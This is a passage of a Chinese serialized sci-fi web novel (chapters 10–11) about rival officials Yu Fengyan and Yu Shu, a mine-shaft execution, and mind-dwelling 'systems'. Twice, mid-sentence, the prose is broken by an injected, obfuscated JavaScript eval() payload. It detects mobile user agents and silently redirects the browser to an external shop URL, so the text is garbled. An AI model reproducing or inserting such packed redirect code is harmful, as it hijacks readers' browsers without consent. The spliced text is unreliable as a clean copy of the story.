程安:“六十多年前了,我家里人得了辐射病,我没钱,我根本不知道该怎么才能挣到那么多,有朋友给我推荐了这个门路。” 程安的声音变了,不是恐惧或者愤怒,他的嗓子很干涩,像在讲一个很久远很久远的、与自己无关的故事。 “我第一次真正上手的不是人类,是个外星异种,他们说那个东西不算人,那个外星种族甚至都不是用语言交流的。如果做得够漂亮,能给我这个数。”程安下意识想伸手比划,但他被束缚着,根本动不了。 于奉彦的语气依旧没有起伏:“第几次是人类?” “第六次,他们说那是个星盗,手上人命无数,他该死,他该以最惨烈的方式死掉……那是一场直播,有人在看,看那个星盗的丑态,听他的惨叫。” “再然后……再然后我就不问了,不问是谁,不问为什么,不问他有没有家里人。”程安说到这里就停住了,因为于奉彦已经到达了终点。 于奉彦走下车,他把程安拖拽了出来。 他调整了程安身上的动态抑制装置,让程安能做到最基本的站立。 程安的声音终于开始抖了:“你问我那些话做什么?”他在期盼一些什么。 “别误会,我真的只是好奇,没有怜悯你的意思。”于奉彦让程安站在了矿井边,他抬手举枪。 程安张了张嘴,于奉彦不知道他想要求饶还是咒骂,于奉彦懒得听:“你的家人会有正常的生活,有个同情心泛滥的家伙大概会定期去查访。” 程安认命一般地闭了嘴,可他刚闭上,就又颤抖着微微张开了。 “哦,望着枪口让你害怕是吧?”于奉彦走上前,颇为人道主义地将程安转向了矿井的方向。 随后于奉彦走回去,重新举起枪。 程安看着黑漆漆的矿井,他想到了那场险些埋葬他的矿难,最终他还是死在了这里面。 “你觉得你是好心吗?”程安抖得更厉害,“你这只是想让自己……” 他的话没能说完,因为于奉彦已经开枪了。 “嗤”的一声,一道蓝光贯穿了身体,程安根本没有反应过来。 他残破的躯体向前倒去,坠入了仿佛没有尽头的深渊,于奉彦盯着漆黑的矿洞望了很久。 他接上了程安未说完的话:“只是想让自己心里好受点。”就像程安杀那个星盗时那样。 随后他将枪和那一辆悬浮车都扔进了矿井。 于奉彦往回走了一段路,另一辆悬浮车开到他面前,停了下来。 于奉彦拉开车门坐了上去。 悬浮车没有驾驶员,于奉彦坐在后座抹了一把脸,手肘抵在大腿上,撑着自己的脑袋。 他似乎觉得一切都特别没意思。 于奉彦的嘴角一直绷着,直到下了悬浮车,接近庇护所的电梯,他那标志性的笑容才重新扬了起来。 御疏就坐在房间里,似乎一直没有离开。 他的视线死死锁定在刚回来的于奉彦身上。 “我们明天得找找其他地方了。”于奉彦看起来有些头疼,他的语调末尾还是上扬的。 御疏没有回应。 于奉彦忽然觉得有些烦躁。 “再盯着我,我就把你的眼珠子挖出来。”于奉彦现在不想接受御疏这夯货的“正义注视”。 御疏看着于奉彦脸上的表情变化,他说:“原来你也有不笑的时候?” 10. 高雅爬行 在隐瞒身份寻找“目标”时,御疏听人聊起了某几个旧矿井的爆破,据说昨天有一批旧矿井被处理了。 他想到了一些什么,忍不住皱起眉头,而在他身边的于奉彦在注意到他的反应之后朝他张开了双臂:“你害怕爆破的话要不要投入哥哥的怀里躲一躲?” 御疏这下不只是皱眉头了,他的五官朝着面部中央坍缩,几乎皱成了一团。 “你这几天嘲讽人的频率是不是变高了?”御疏皱着脸询问于奉彦。 “我不喜欢嘲讽人,你是不是对我有偏见?”于奉彦收回手,“干嘛把我的真心想得那么坏?” 御疏没接于奉彦的茬:“你最好克制一下,不然我会多想。” “多想什么?”于奉彦笑着开口。 “我会怀疑你是不是在人家挖的坑里扔了什么不该扔的东西。”御疏轻声道,他说完之后看了眼身边的于奉彦。 于奉彦没什么反应,他似乎没意识到御疏的试探。 御疏很清楚于奉彦那天去做了些什么,但御疏没有开口主动询问过于奉彦。 他有点烦躁,像吃了什么东西噎在胸口的那种烦躁,是于奉彦的手段太脏?但于奉彦一直都是这样。是因为任务太顺?不管怎么想,顺利都是一件好事。 御疏总觉得自己的愤怒在某个瞬间指向了自己,不过在于奉彦一次次对他露出虚假的微笑之后,那股愤怒被于奉彦的笑容给吸引过去了。 “有些不入流的方法下次就别再用了。”御疏再次开口。 “我确实找错了地方,也许我们要的人不在这里。”于奉彦还沉浸在自己的人设中,“计划确实要修正,但你不顶事啊好弟弟,你什么都做不了,就只能让我来。” 嗯,这个正义的小使者果然很讨人嫌。 这段时间于奉彦很烦,烦得要命,他以前不会这样,他只是处理掉了一个麻烦而已,这是必须做的。 手段不光彩那别让外人知道就好了,再说被做掉的那人是什么好东西吗? 但现在于奉彦很不爽,他总觉得御疏在审视自己,御疏在评判自己的出格。 每次他们出门路过垃圾桶时,于奉彦都想团吧团吧把御疏塞进去算了。 他感觉御疏身上自带某种优越感,高高在上的优越感。 御疏的沉默有点太聒噪了,于奉彦觉得自己被放上了被告席,作为大法官的御疏却迟迟没有出声。 可御疏哪有这种资格,大家都是人,他站在什么立场去审判自己? 两个人并肩前行,他们关系看起来挺不错,有一搭没一搭地聊着天,只是心里都憋了一股火气。 他们果然不适合做搭档,两人看着对方那张脸忍不住想。 ……有什么方法能搞死他吗? 他们对视一眼之后又迅速挪开视线。 御疏问他:“你在想什么?” 于奉彦:“我想成为一个无所顾忌的邪恶的人,那也是一种自由。”能自由地清理掉某个碍眼的家伙。 御疏点点头。 片刻后,于奉彦反问:“你在想些什么?” 御疏:“一些合理合规的事。”如果确定于奉彦是个潜入人类群体的外星生物,他就能合理合规地枪毙对方了。 遇到系统也不完全是坏事。 于奉彦:“合理合规?” 御疏强调:“合理合规。” 于奉彦嗤笑了一声,像在笑御疏的欲盖弥彰。 他们俩在矿区找了几天之后失望地“无功而返”。 两人离开庇护所,乘坐星舰去往中转星。 于奉彦和御疏在中转星卸掉了全部的伪装,而在看到对方的真实容貌之后,他们的火气更大了。 他们见面之后沉默了许久,最后还是御疏先开了口:“什么时候出发去找严阳均?” “先回去待几天吧。”于奉彦回应,他的语气依旧很平常,“我们找到的这个证据不能上交,你明白的吧?” 御疏的下属全部被调走了,这说明背后的人有能力把手伸进内安局。 “我知道。”御疏和于奉彦一起出差的事是瞒不住的,于奉彦的一位不在联盟系统内的外星朋友帮了点忙,上层现在以为御疏和于奉彦在那个外星种族的聚居星,也就是他们现在所处的中转星。 “我们两个的合作失败了,我想用一些出格的方法去调查,你阻止了我。”于奉彦继续说,“我们现在应该是针锋相对的……好吧这一点不需要扮演。”于奉彦感觉自己嘱咐了一句废话。 或许他们可以在这里打一架?不,这个行为放在于奉彦这个部长和御疏这个组长身上实在太出格了,不知怎的,于奉彦还有点遗憾。 他忽然想起了御疏之前面色惨白的样子:“诶对了,你之前到底生了什么病?”到底是不是要死了? 御疏动作一顿,他回望于奉彦:“你这么想知道?” 于奉彦笑着说:“关心同事。” “好啊。”正好他也想知道于奉彦到底对系统的存在知不知情,“于奉彦。” 于奉彦颇为温和地点了一下头。 御疏:“你知道攻略……” 他接下来的话没能说出口,御疏的脸色瞬间惨白,他身体僵直,栽倒在地。 于奉彦迅速往后退了两步:“你怎么了?” 【啊啊啊啊!】系统在御疏脑袋里崩溃大叫,【你干什么呀?!你干什么!!】 御疏说不了话,系统一边吱哇乱叫、崩溃大哭,一边放电电他。 御疏:【哦,看你的反应,于奉彦应该是不知情的。】 系统有点绝望:【你这个时候能别思考了吗?!】 御疏其实一直都知道于奉彦很受欢迎,他不太理解这种受欢迎。 之前他也单独审问过那个叫楚骸的茧族,那个茧族的反应很奇怪,他表现得破绽百出,想挖信息并不麻烦,可从他身上得到的那些信息却让御疏无比迷茫。 那个叫楚骸的茧族对姜河的了解有点太多了,多到御疏居然产生了一种奇怪的联想——楚骸和姜河是同一个人。 但是人类怎么可能变成茧族呢? 而且这个楚骸还对于奉彦有一种诡异的迷恋。 御疏在审问的时候刻意多次地提起过于奉彦,楚骸面对这个名字的反应很强烈。 他似乎对于奉彦怀抱着某种幻想,那种幻想御疏总觉得很熟悉,琢磨来琢磨去,他发现楚骸对于奉彦的幻想好像和系统重叠了。 将于奉彦的心狠手辣解读成带着某种吸引力的强悍, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440296|201040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将于奉彦恶劣的态度解读为一种需要被看见的孤独。在他们眼中,于奉彦简直是被世人误解的宇宙第一孤僻又深情的美男子。 当楚骸说出“他心里的冰太厚,我快要暖不动了。”时,御疏感觉自己头皮发麻,特别想搓一搓自己胳膊上的鸡皮疙瘩。 楚骸会和系统有什么联系吗? 于奉彦身边的追求者不少,他们为什么会喜欢于奉彦?就因为于奉彦有一副还不错的皮囊?可星际里长得好看的人并不少,他们又为什么会紧紧盯着于奉彦不放?于奉彦又不是明星。 ……明星? 会不会在某个地方,或者在某个圈子里,于奉彦确实是“明星”一样的存在? 【你不痛的吗?你的脑袋怎么还在想事啊?!!】系统还在哭,【你不能让于奉彦察觉到!不然我们都会死的!真的!】 会死?他们都会死?难不成于奉彦和系统不是一个阵营的? 倒是得到了几条新的信息,御疏扯了扯嘴角,抬头看向于奉彦。 很快他就在于奉彦脸上看到了惊恐的情绪。 于奉彦怎么会惊恐? 于奉彦的确很恐惧。 他随口问了一句,这怎么就当场表演了呢? 有人对御疏下了毒?不,不太可能,御疏的家庭背景不简单,不到万不得已的地步,不可能有人直接对御疏下手。 难不成御疏真的感染了什么治愈不了的疾病,强撑着病体维护他所谓的正义? 不太可能吧……不,如果是御疏的话,这是完全有可能的。 他要见证御疏的牺牲了?以这么惨烈的方式? 于奉彦感觉御疏在自己面前壮烈牺牲这个行为对自己来说有一点冒昧,御疏是想用这样的行为来痛斥自己的虚伪和邪恶? 于奉彦脑中浮现了一个奇怪的画面,一本正经的御疏忽然在他面前高速冲刺,一头撞在墙上,血溅了于奉彦一身,随后御疏的身体缓缓倒下,但那双眼睛还死死地盯着于奉彦,仿佛在质问于奉彦灰暗的灵魂。 于奉彦打了个寒战。 闹了一点小矛盾而已,怎么还能这么碰瓷呢? 他着急忙慌地拉开房间门,然后用夸张的音调喊出来:“哎呀!御组长!御组长你这是怎么了?!” 房间里没有监控,但房间外有守着的外星人警卫。 警卫跑了过来。 御疏:…… 噢,于奉彦是怕自己死在这儿之后别人会怀疑是于奉彦干的。 于奉彦围着御疏转来转去,看起来特别担心御疏,几次路过御疏脑袋的时候总会伸手猛拍御疏的面颊,似乎想让疼痛唤醒御疏的意志。 他一边拍一边喊着“御组长”,御疏额角青筋直跳,他强撑着身体,伸出一条腿。 围着他公转的于奉彦没注意到忽然出现的小腿,“咚”的一声摔倒在地。 系统:【呀啊啊啊!!】 御疏再次伸腿,于奉彦反应很快,他躺在地上,腰部发力,像一只强而有力的虾,往后蹿了好远。 系统:【哇噢~】 御疏:…… 【他好优雅。】系统抚掌欣赏了起来。 御疏:? 为什么要安装鼓掌音效这种没用的东西? 11. 难搞的于奉彦 御疏回到办公室之后就开始假模假样地整理自己“调查”到的内容。手中的资料并不重要,他的注意力压根没有放在这些浅显的内容上,而是在思索和那个茧族有关的事。忽然,他的办公桌晃荡了一下。 某个人的臀部碰到了办公桌的边缘,那人在察觉到这种触碰之后没有离开,反而一屁股坐上了办公桌。 “赵局长,我们真没打架,当时是御疏身体忽然出了一些意外,他倒在地上抽抽呢,我被他绊倒了。”于奉彦坐好之后还随手在御疏办公桌上拿了一瓶喝的,一边开瓶一边向通讯那头的人解释。 听到“抽抽”时,御疏忍不住抬头看了他一眼。 通讯那头的人又说了些什么,于奉彦把身体一歪,空着的手撑在了办公桌上:“医疗舱确实没有病历记录,我也觉得奇怪,您没看到他当时的样子,他的脸唰一下就白了,忽然倒了下去,但进了医疗舱之后硬是什么都没查出来。” “对,很奇怪,我也觉得特别怪。”于奉彦喝了一口饮料,“真没打!我们上学的时候那是幼稚,现在我们都多大年纪的人了?您想多了。” 紧跟着通讯另一边的人大概嘱咐了一些什么,于奉彦笑着“诶”了好几声。 最后通讯挂断,于奉彦重重地呼出一口气。 “姓赵?是这个星区星安局分局的那个赵副局长吗?”御疏记得星安局分局的局长不姓赵,“你为什么管他叫局长?” 于奉彦眯起眼睛,他上下打量着御疏。 “你干嘛?”御疏问。 “判断你是不是在开玩笑,你们局长不在的时候你管你们副局长叫‘副局长’?”于奉彦真的很震惊。 他一直都知道御疏没什么情商,但能问出这样的问题,他是否过于没有眼力见了? 御疏皱眉沉默了一会儿,随后他恍然大悟:“又是拉近关系的那一套?” “叫个局长不至于拉近关系。”于奉彦很无奈,“一般人都会这样。” 御疏不再接话。 “你这人也真是不得了。”于奉彦笑了笑,他和御疏在其他人地盘“胡闹”的事被御疏写进了报告里,御疏只说自己的身体忽然不舒服,精神状态不佳,和于奉彦之间发生了一些肢体冲突。 他觉得御疏的领导估计把这事儿当乐子看了,而且是一个能够分享的乐子。 于奉彦也知道御疏大概是想让某些人放心。 他的目光扫到了通讯里的某个名字,看着那些未读信息,眉头忍不住皱了一下。 “我待会儿会去你那里。”御疏忽然说,他需要跟于奉彦一起制定之后的计划。 于奉彦双手抱胸,看起来特别讶异:“你想对我做些什么?” 御疏面无表情。 于奉彦笑出了声,他跳下办公桌,径直往外走,一边走一边挥手:“我回去等着你,御组长。” 御疏低下头继续梳理那些证据,一旁的娄伏均在于奉彦出门之后伸长脖子探头探脑看着门的方向。 “你在看什么!”御疏问他。 “我不明白于部长干嘛要来我们这儿,他不是……”娄伏均想说于奉彦和御疏的关系不好,但他很快就意识到这话不方便当着御疏这个当事人的面讲。 御疏明白了他的意思:“于奉彦被停职了,没工作。” 娄伏均当然知道于奉彦被停职了,他眼看着御疏脸上的表情越来越不爽,忽然意识到了什么:“他是来围观其他人辛苦工作的样子,过来找优越感的?”这也太幼稚了。 也可能是对御疏不放心,怕御疏背着他干些什么,但这个理由御疏没说。 他伸手想去拿桌上的功能饮料,结果手扑了个空,这时候他才想起来饮料已经被于奉彦给顺走了。 “啧。”御疏有些不耐烦地皱起了眉头。 在这时候一个机器人球忽然飞到了御疏面前:【御组长,有人申请与您会面。】它在御疏面前投射出一面光屏。 光屏里的画面是办公室楼下的监控视频,一个顶着蓬蓬卷发型的男人被警卫机器人拦住了。 这是? 御疏对这一头蓬蓬卷有些印象,这人好像是自己妈妈朋友的孩子。 他跑到自己这儿来做什么? 那个蓬蓬卷男人望向监控的方向:“御哥,我们能见一面吗?” 御疏皱起眉头,他和这人并不熟悉。 蓬蓬卷男人深吸一口气,他看起来很紧张:“于,于奉彦是不是被你关起来了?” 于奉彦?! 御疏皱起的眉头挑高了,一旁的娄伏均看起来也格外诧异。 片刻后,顶着蓬蓬卷的男人拘谨地坐在沙发上,手里捧了一杯茶:“谢谢。” 声音在抖诶,娄伏均感觉他快吓坏了。 “不客气,你是叫徐源对吗?”御疏的记忆有些模糊了。 “我叫钱海叙。”蓬蓬卷男生纠正。 御疏点头表示自己知道了,随后他直接开口问:“你找于奉彦做什么?你和他有什么关系?” 娄伏均眼看着钱海叙抖动幅度变大:“没,没什么关系。” 他抬头看到了御疏严肃的表情,有点想哭:“我喜欢他,我就想来看看他怎么样了。” 御疏的脸色有些难看。 钱海叙特别想跑,他从小就畏惧御疏,御疏一次次把他的小秘密举报给他妈妈,给钱海叙幼小的心灵留下了难以磨灭的阴影。 “你怎么会喜欢于奉彦?”御疏不明白。 “因为于奉彦对我很好。”钱海叙说,“我对他是一见钟情,他身上有一种很独特的气场,我能感觉到他很孤独,他的心里压了很多事,但他在面对我时总是笑着的。” “你确定那是笑?”御疏很怀疑,“他的嘴角本来就是往上挑的。” “我分得清什么是真正的笑。”钱海叙握紧拳头,“他很好!我知道你不喜欢他,你对他有偏见,但是……” “我觉得阿姨得带你去看看心理医生了。”御疏忽然打断了他,“你从小就这样没脑子。” 这话是不是有点太难听了?娄伏均很震惊,他一直都知道御疏做事一板一眼,但直接评价别人没脑子已经属于没礼貌的范畴了吧。 果然,原本还战战兢兢的钱海叙噌地一下站起身,畏惧转化为了愤怒:“你是不是把世上所有人都当傻子?!” 御疏:“别拉其他人,我在说你。” 娄伏均缩了缩脖子,不明白御疏为何忽然如此凶残。 钱海叙在颤抖,这次是气的:“你凭什么这么说?!” 娄伏均:…… 哇,好低的攻击力。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440297|201040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不然你为什么相信幻听的话,那么轻易地爱上于奉彦。”御疏随口道。 钱海叙反应过来御疏在说什么之后睁大双眼,愤怒似乎一瞬间泄了气,通红的脸看起来都白了不少。 系统在御疏脑内发出尖锐爆鸣。 娄伏均完全不理解发生了什么,只能看看钱海叙又看看御疏。 御疏在观察钱海叙的反应,没有困惑,没有迷茫,刚堆积起来的愤怒也被打断了。 看来他的脑袋里真的有“幻听”啊。 “什,什么幻听?”钱海叙试图假装自己什么都不知道,他在脑内疯狂地呼唤系统。 钱海叙:【他知道系统的存在?!不可能啊!我没在任何地方发布过和系统相关的信息!】 【你先冷静,不要露怯!】系统安抚他,【先糊弄过去,我去问问情况。】 “抱歉,我最近没怎么休息,脑袋有点乱,说话冲了些。”御疏率先开口,他没有再追问所谓的“幻听”。 钱海叙紧张地望着他,御疏好像真的缓过来了,他颇为热情地邀请;“我没对于奉彦做什么,你要是不放心,我可以带你去看看他。” 于奉彦的追求者脑子里是都有系统这个东西吗? 【他们全部有系统对吧?】御疏询问系统。 系统发出尖叫之后就消失了,好像从没在御疏脑袋里出现过似的。 御疏:【居然被我抓住机会套出了其他系统的秘密。】 刚才在和钱海叙对话时他的注意力全放在钱海叙的头发上,他在回忆钱海叙的母亲,他记得对方也是这样的发质,这种强行回忆干扰了御疏的思维,似乎也让系统放松了警惕。 这不容易,御疏刻意测试过几次,看系统能监视到什么程度。 好在试探几乎成了御疏的本能,他不需要提前做什么准备,在钱海叙的愤怒被推到最高的瞬间,试探的话语比他的思维还快了半拍。 【你们系统应该是不允许携带者知道彼此身份的吧?】御疏继续跟系统聊天,【你知道我是什么人还不提高十二分的警惕,工作完成得似乎有点糟糕啊。】 他脑袋里出现了细微的、抽抽噎噎的哭声。 另一边,于奉彦拿着不怎么先进,只能读取芯片,无法连接星网的设备查看从程安手上得到的信息。 这里面有一段视频,视频里是改换身份之前的严阳均,他看起来被吓坏了,脸色惨白,神情恍惚。 能把他吓成这样? 于奉彦端起身边的茶杯,喝了一口。 他已经分析了很长一段时间了,试图从严阳均的话里找出一些有用的内容。 忽然,门铃响了,于奉彦抽出芯片,将机器放进了自己的口袋。 他起身拉闸恢复了房间的供能,随后才开口让恢复运转的中央控制系统开门。 大门打开,于奉彦朝着来人露出了一个温和的笑:“御大组长……”很快,他注意到了御疏身后那个怯生生的男人。 于奉彦:…… 于奉彦笑容不变:“呀,钱先生怎么来了?” “他想来见见你。”御疏在观察于奉彦,可惜他从于奉彦脸上没看出什么明显的破绽。 麻烦,不过好在于奉彦的秘密是由一群业余人士看守的。 抽抽噎噎的哭声又响起了。